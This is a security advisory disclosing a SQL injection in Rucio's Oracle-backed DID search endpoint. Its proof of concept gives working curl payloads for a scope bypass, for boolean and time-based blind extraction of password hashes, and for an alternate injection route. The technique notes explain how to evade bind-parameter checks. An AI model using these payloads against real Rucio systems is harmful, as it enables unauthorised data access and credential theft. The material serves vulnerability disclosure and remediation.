Vulnerability GHSA-vjr5-c9qv-hgm3

Summary

A SQL injection vulnerability in the Oracle path of FilterEngine.create_sqla_query allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (GET /dids/<scope>/dids/search). Attacker-controlled filter keys and values are interpolated directly into sqlalchemy.text via Python str.format, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration json_meta with Oracle database backends.

PoC

Prerequisites:

• A Rucio instance using Oracle as the database backend
• The default metadata plugin configuration (json_meta as custom plugin — this is the default)
• Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

Note on injection technique: The text() fragment is inserted into a SQLAlchemy query that includes additional bind-parameter conditions (e.g., AND system.did_meta.scope = :scope_1). SQL comment (--) cannot be used to discard the trailing syntax because cx_Oracle validates that all registered bind parameters exist in the SQL text, raising ORA-01036 if they are commented out. Instead, the injection consumes the template's trailing characters (")')) by opening a dummy json_exists() call that the trailing characters close naturally, preserving all bind parameters.

The format template suffix after the injected value is exactly ")') — four characters: closing double-quote, closing predicate paren, closing path string single-quote, closing json_exists() paren. The payload opens a new json_exists(meta,'$?(@.a == "b which the suffix closes as json_exists(meta,'$?(@.a == "b")').

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Boolean-based scope bypass

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value: x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b

Generated SQL inside text():

json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")')

Full WHERE clause as compiled by SQLAlchemy:

WHERE json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")') AND system.did_meta.scope = :scope_1

Why this bypasses the scope filter: SQL operator precedence — AND binds tighter than OR. Oracle parses this as:

WHERE
  json_exists(...)                                        -- disjunct 1
  OR 1=1                                                  -- disjunct 2 (always TRUE)
  OR (json_exists(...) AND system.did_meta.scope = :scope_1)  -- disjunct 3

Because 1=1 is unconditionally true, the entire WHERE clause evaluates to TRUE for every row regardless of scope. All bind parameters (:scope_1) remain intact in the SQL — no ORA-01036.

Expected result: All rows from did_meta are returned regardless of scope.

3. Boolean-based blind injection (data extraction)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%201%20ELSE%200%20END%20FROM%20dual)%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value:

x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b

Generated SQL inside text():

json_exists(meta,'$?(@.custom_key == "x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b")')

Expected result:

• If the first character of the first password hash is 'a': rows are returned (subquery returns 1, 1=1 is true, OR makes WHERE true)
• Otherwise: no rows from the subquery disjunct (but the dummy json_exists AND scope disjunct may still match scoped rows — the attacker distinguishes by response row count)
• Repeat for each character position and value to extract the full hash

4. Time-based blind injection (alternative extraction)

curl -s -k -o /dev/null -w "%{time_total}" \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE(%27x%27%2C5)%20ELSE%200%20END%20FROM%20dual)%3D5%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value:

x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END FROM dual)=5 OR json_exists(meta,'$?(@.a == "b

Expected result:

• If condition is true: response delayed by ~5 seconds
• If condition is false: immediate response
• More reliable extraction channel than boolean-based when row counts are ambiguous

5. Alternative entry via filters query parameter

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%5C%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%5C%22b%22%7D%5D'

URL-decoded: filters=[{"custom_key": "x\"') OR 1=1 OR json_exists(meta,'$?(@.a == \"b"}]